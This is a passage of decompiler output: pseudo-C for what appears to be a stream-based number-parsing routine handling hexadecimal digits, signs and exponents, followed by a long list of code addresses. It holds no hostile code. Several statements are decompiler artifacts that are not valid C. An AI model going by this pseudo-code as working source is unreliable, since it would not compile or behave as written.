										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1071 + 1)) = 0x2d;
													_t921 =  *_t882;
													__eflags = _t921;
													if(_t921 == 0) {
														goto L433;
													} else {
														_t755 =  *((intOrPtr*)(_t921 + 0x38));
														_t998 =  *_t755;
														__eflags = _t998;
														if(_t998 == 0) {
															L429:
															_t449 =  *((intOrPtr*)( *_t921 + 0x40))();
															goto L430;
														} else {
															_t1046 =  *((intOrPtr*)(_t921 + 0x50));
															_t578 =  *_t1046;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L429;
															} else {
																goto L428;
															}
														}
														goto L431;
													}
													goto L434;
												}
											} else {
												 *((char*)(_t1071 + 1)) = 0x2b;
												_t923 =  *_t882;
												__eflags = _t923;
												if(_t923 == 0) {
													L433:
													 *_t882 = 0;
													_t448 = 1;
												} else {
													_t755 =  *((intOrPtr*)(_t923 + 0x38));
													_t998 =  *_t755;
													__eflags = _t998;
													if(_t998 == 0) {
														L423:
														_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
														L430:
														_t1071 = _a112;
													} else {
														_t1046 =  *((intOrPtr*)(_t923 + 0x50));
														_t578 =  *_t1046;
														__eflags = _t578;
														if(_t578 > 0) {
															L428:
															 *_t1046 = _t578 - 1;
															 *_t755 =  &(_t998[1]);
															_t449 =  *_t998 & 0x0000ffff;
														} else {
															goto L423;
														}
													}
													L431:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L433;
													} else {
														_t448 = 0;
													}
												}
												L434:
												_t1074 = _t1071 + 2;
												__eflags = _t1074;
												 *(_t882 + 8) = _t448;
												_t1083 = _t1074;
											}
										}
										while(1) {
											_t909 =  *_t882;
											__eflags = _t909;
											_t574 = 0;
											if(_t909 == 0) {
												goto L444;
											}
											_t745 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
											__eflags = _t745;
											if(_t745 == 0) {
												L442:
												_t443 =  *((intOrPtr*)( *_t909 + 0x38))();
											} else {
												__eflags =  *( *(_t909 + 0x50));
												if( *( *(_t909 + 0x50)) <= 0) {
													goto L442;
												} else {
													_t443 =  *_t745 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L444:
											_t910 =  *_a96;
											__eflags = _t910;
											if(_t910 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L450;
												} else {
												}
											} else {
												_t753 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
												__eflags = _t753;
												if(_t753 == 0) {
													L448:
													_t439 =  *((intOrPtr*)( *_t910 + 0x38))();
												} else {
													__eflags =  *( *(_t910 + 0x50));
													if( *( *(_t910 + 0x50)) <= 0) {
														goto L448;
													} else {
														_t439 =  *_t753 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L450:
													__eflags =  *(_t882 + 8);
													if( *(_t882 + 8) == 0) {
														_t920 =  *_t882;
														__eflags = _t920;
														if(_t920 == 0) {
															L460:
															 *_t882 = 0;
														} else {
															_t750 =  *((intOrPtr*)( *((intOrPtr*)(_t920 + 0x38))));
															__eflags = _t750;
															if(_t750 == 0) {
																L457:
																_t442 =  *((intOrPtr*)( *_t920 + 0x38))();
															} else {
																__eflags =  *( *(_t920 + 0x50));
																if( *( *(_t920 + 0x50)) <= 0) {
																	goto L457;
																} else {
																	_t442 =  *_t750 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L460;
															} else {
																 *(_t882 + 0xa) = _t442;
															}
														}
														 *(_t882 + 8) = 1;
													}
													__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
														_t918 =  *_t882;
														__eflags = _t918;
														if(_t918 == 0) {
															L470:
															 *_t882 = 0;
															_t438 = 1;
															goto L436;
														} else {
															_t747 =  *((intOrPtr*)(_t918 + 0x38));
															_t994 =  *_t747;
															__eflags = _t994;
															if(_t994 == 0) {
																L467:
																_t445 =  *((intOrPtr*)( *_t918 + 0x40))();
															} else {
																_t1045 =  *((intOrPtr*)(_t918 + 0x50));
																_t576 =  *_t1045;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L467;
																} else {
																	 *_t1045 = _t576 - 1;
																	 *_t747 =  &(_t994[1]);
																	_t445 =  *_t994 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L470;
															} else {
																_t438 = 0;
																L436:
																 *(_t882 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L486:
																_t911 =  *_t882;
																__eflags = _t911;
																_t565 = 0;
																if(_t911 == 0) {
																	goto L492;
																}
																_t734 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
																__eflags = _t734;
																if(_t734 == 0) {
																	L490:
																	_t436 =  *((intOrPtr*)( *_t911 + 0x38))();
																} else {
																	__eflags =  *( *(_t911 + 0x50));
																	if( *( *(_t911 + 0x50)) <= 0) {
																		goto L490;
																	} else {
																		_t436 =  *_t734 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L492:
																_t912 =  *_a96;
																__eflags = _t912;
																if(_t912 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L498;
																	} else {
																	}
																} else {
																	_t742 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
																	__eflags = _t742;
																	if(_t742 == 0) {
																		L496:
																		_t431 =  *((intOrPtr*)( *_t912 + 0x38))();
																	} else {
																		__eflags =  *( *(_t912 + 0x50));
																		if( *( *(_t912 + 0x50)) <= 0) {
																			goto L496;
																		} else {
																			_t431 =  *_t742 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t431 & 0x0000ffff) - 0xffff;
																	_t424 = 0 | __eflags != 0x00000000;
																	if(__eflags != 0) {
																		L498:
																		__eflags =  *(_t882 + 8);
																		if( *(_t882 + 8) == 0) {
																			_t917 =  *_t882;
																			__eflags = _t917;
																			if(_t917 == 0) {
																				L508:
																				 *_t882 = 0;
																			} else {
																				_t739 =  *((intOrPtr*)( *((intOrPtr*)(_t917 + 0x38))));
																				__eflags = _t739;
																				if(_t739 == 0) {
																					L505:
																					_t424 =  *((intOrPtr*)( *_t917 + 0x38))();
																				} else {
																					__eflags =  *( *(_t917 + 0x50));
																					if( *( *(_t917 + 0x50)) <= 0) {
																						goto L505;
																					} else {
																						_t424 =  *_t739 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t424 & 0x0000ffff) - 0xffff;
																				if((_t424 & 0x0000ffff) == 0xffff) {
																					goto L508;
																				} else {
																					 *(_t882 + 0xa) = _t424;
																				}
																			}
																			 *(_t882 + 8) = 1;
																		}
																		_t533 =  *(_t882 + 0xa) & 0x0000ffff;
																		_t730 = _t1088;
																		asm("o16 nop [cs:eax+eax]");
																		while(1) {
																			_t551 =  *(_t730 + 2) & 0x0000ffff;
																			_t730 = _t730 + 2;
																			__eflags = _t551;
																			if(_t551 == 0) {
																				break;
																			}
																			__eflags = _t551 - _t533;
																			if(_t551 != _t533) {
																				continue;
																			} else {
																				break;
																			}
																			goto L515;
																		}
																		_t732 = _t730 -  &_v32 >> 1;
																		__eflags = _t732 - 0x15;
																		if(_t732 <= 0x15) {
																			__eflags = r14d - 7;
																			if(r14d <= 7) {
																				 *_t1083 =  *((intOrPtr*)(_t732 + "0123456789ABCDEFabcdef-+XxPp"));
																				_t1083 = _t1083 + 1;
																				r14d = r14d + 1;
																				__eflags = r14d;
																			}
																			_t914 =  *_t882;
																			__eflags = _t914;
																			if(_t914 == 0) {
																				L484:
																				 *_t882 = 0;
																				_t430 = 1;
																			} else {
																				_t736 =  *((intOrPtr*)(_t914 + 0x38));
																				_t990 =  *_t736;
																				__eflags = _t990;
																				if(_t990 == 0) {
																					L481:
																					_t433 =  *((intOrPtr*)( *_t914 + 0x40))();
																				} else {
																					_t1044 =  *((intOrPtr*)(_t914 + 0x50));
																					_t575 =  *_t1044;
																					__eflags = _t575;
																					if(_t575 <= 0) {
																						goto L481;
																					} else {
																						_t575 = _t575 - 1;
																						 *_t1044 = _t575;
																						 *_t736 =  &(_t990[1]);
																						_t433 =  *_t990 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t433 & 0x0000ffff) - 0xffff;
																				if((_t433 & 0x0000ffff) == 0xffff) {
																					goto L484;
																				} else {
																					_t430 = 0;
																				}
																			}
																			 *(_t882 + 8) = _t430;
																			sil = 1;
																			continue;
																		}
																	}
																}
																_t1092 = _a32;
																_t1071 = _t1083;
																r9d = r15d;
																r10d = _t575;
																goto L515;
															}
														}
														goto L486;
													}
												}
											}
											__eflags = dil;
											_a32 = _t1092;
											_t575 = 0;
											if(dil != 0) {
												 *_t1083 = 0x30;
												_t1083 = _t1083 + 1;
												__eflags = _t1083;
											}
											r14d = 0;
											_t1088 =  &_v34;
											goto L486;
										}
									} else {
										__eflags = _t424 - _a20;
										if(_t424 == _a20) {
											goto L387;
										}
									}
								}
							} else {
								_t1071 = _a112;
								r9d = r15d;
							}
							goto L515;
						}
					}
					goto L332;
				}
				L530:
			}

0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x004186fb
0x00418707
0x00418731
0x00418739
0x0041873b
0x00418748
0x0041874a
0x0041874a
0x0041874e
0x0041874e
0x00418756
0x0041875b
0x0041875e
0x00418761
0x00418763
0x0041876b
0x0041876f
0x00418783
0x0041878b
0x0041878f
0x00418792
0x00418795
0x004187a0
0x004187a3
0x004187a7
0x004187aa
0x004187b1
0x004187b6
0x004187b9
0x004187c0
0x004187c2
0x004187c5
0x004187cb
0x004187d3
0x004187d3
0x004187cb
0x004187e1
0x004187e8
0x004187eb
0x004187ef
0x004187f2
0x004187f9
0x004187fe
0x00418801
0x00418808
0x0041880a
0x0041880d
0x00418813
0x0041881b
0x0041881b
0x00418813
0x00418836
0x00418839
0x0041883c
0x00418841
0x00418846
0x0041884c
0x00418852
0x00418865
0x0041885d
0x0041885d
0x0041885d
0x0041886b
0x00418872
0x00418872
0x0041887a
0x00418880
0x00418886
0x0041888c
0x0041889f
0x00418897
0x00418897
0x00418897
0x004188a5
0x004188ac
0x004188ac
0x004188b2
0x004188b5
0x004188bf
0x004188c1
0x004188c7
0x004188fa
0x004188fa
0x004188c9
0x004188cd
0x004188d3
0x004188e6
0x004188de
0x004188de
0x004188de
0x004188e9
0x004188f2
0x00000000
0x004188f4
0x004188f4
0x004188f4
0x004188f2
0x00418901
0x00418901
0x00418905
0x0041890d
0x00418939
0x0041893d
0x00418940
0x00418942
0x00418946
0x00418949
0x0041894c
0x00000000
0x0041894e
0x0041894e
0x00418952
0x00418955
0x00418958
0x00418974
0x00418977
0x0041895a
0x0041895a
0x0041895e
0x00418960
0x00418962
0x00000000
0x00000000
0x00000000
0x00000000
0x00418962
0x00000000
0x00418958
0x00000000
0x0041894c
0x0041890f
0x0041890f
0x00418913
0x00418919
0x00418988
0x00418988
0x0041898f
0x0041891b
0x0041891b
0x0041891f
0x00418925
0x00418931
0x00418934
0x00418927
0x00418927
0x0041892b
0x0041892f
0x00418964
0x00418966
0x0041896c
0x0041896f
0x00000000
0x00000000
0x00000000
0x0041892f
0x0041897a
0x00418982
0x00000000
0x00418984
0x00418984
0x00418984
0x00418982
0x00418991
0x00418991
0x00418995
0x00418995
0x0041890d
0x00418998
0x0041899e
0x004189a1
0x004189a6
0x004189ab
0x004189b1
0x004189b7
0x004189ca
0x004189c2
0x004189c2
0x004189c2
0x004189d0
0x004189d7
0x004189d7
0x004189db
0x004189df
0x004189e5
0x004189eb
0x004189f1
0x00418a01
0x00418a04
0x004189fc
0x004189fc
0x004189fc
0x00418a0a
0x00418a11
0x00418a11
0x00418a17
0x00418bed
0x00418bed
0x00418a1d
0x00418a21
0x00418a23
0x00418a29
0x00418a5c
0x00418a5c
0x00418a2b
0x00418a2f
0x00418a35
0x00418a45
0x00418a48
0x00418a40
0x00418a40
0x00418a40
0x00418a4b
0x00418a54
0x00000000
0x00418a56
0x00418a56
0x00418a56
0x00418a54
0x00418a63
0x00418a63
0x00418a6f
0x00000000
0x00418a75
0x00418a75
0x00418a7b
0x00418ad9
0x00418ad9
0x00418ae0
0x00000000
0x00418a7d
0x00418a7d
0x00418a81
0x00418a87
0x00418aa3
0x00418aa6
0x00418a89
0x00418a89
0x00418a8d
0x00418a91
0x00000000
0x00418a93
0x00418a95
0x00418a9b
0x00418a9e
0x00418a9e
0x00418a91
0x00418ab1
0x00000000
0x00418ab3
0x00418ab3
0x00418ab6
0x00418abd
0x00418ae4
0x00418ae4
0x00418abf
0x00418ac3
0x00418ac9
0x00418aeb
0x00418ad4
0x00418ad4
0x00418ad4
0x00418af1
0x00418af8
0x00418af8
0x00418abd
0x00418ab1
0x00418afc
0x00418b00
0x00418b06
0x00418b38
0x00418b38
0x00418b08
0x00418b0c
0x00418b12
0x00418b22
0x00418b25
0x00418b1d
0x00418b1d
0x00418b1d
0x00418b28
0x00418b33
0x00418b33
0x00418b3a
0x00418b3f
0x00418b49
0x00418b4b
0x00418b51
0x00418b84
0x00418b84
0x00418b53
0x00418b57
